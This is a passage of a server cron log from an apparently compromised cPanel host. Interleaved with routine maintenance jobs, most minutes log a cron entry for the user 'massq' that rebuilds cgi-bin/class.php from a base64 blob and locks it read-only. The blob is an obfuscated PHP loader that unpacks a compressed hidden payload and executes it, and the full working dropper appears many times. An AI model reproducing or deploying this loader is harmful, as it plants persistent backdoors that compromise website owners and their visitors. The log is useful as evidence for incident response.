O1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:36:01 server CROND[30689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:37:01 server CROND[31070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:37:01 server CROND[31071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:37:01 server CROND[31072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:38:01 server CROND[31481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:38:01 server CROND[31482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:38:01 server CROND[31483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:39:01 server CROND[31873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:39:01 server CROND[31875]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 08:39:01 server CROND[31874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:39:01 server CROND[31876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:40:01 server CROND[32270]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:40:01 server CROND[32271]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:40:01 server CROND[32273]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:40:01 server CROND[32274]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:40:01 server CROND[32277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:40:01 server CROND[32276]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:40:01 server CROND[32275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:40:01 server CROND[32279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:41:01 server CROND[784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:41:01 server CROND[785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:41:01 server CROND[786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:42:02 server CROND[1244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:42:02 server CROND[1245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:42:02 server CROND[1247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:42:02 server CROND[1246]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 08:43:01 server CROND[1648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:43:01 server CROND[1649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:43:01 server CROND[1650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:44:01 server CROND[2067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:44:01 server CROND[2068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:44:01 server CROND[2069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:45:01 server CROND[2472]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:45:01 server CROND[2474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:45:01 server CROND[2479]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:45:01 server CROND[2478]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:45:01 server CROND[2476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:45:01 server CROND[2477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:45:01 server CROND[2487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:46:01 server CROND[3496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:46:01 server CROND[3497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:46:01 server CROND[3498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:47:01 server CROND[3882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:47:01 server CROND[3883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:47:01 server CROND[3884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:48:01 server CROND[4262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:48:01 server CROND[4263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:48:01 server CROND[4265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:49:01 server CROND[4652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
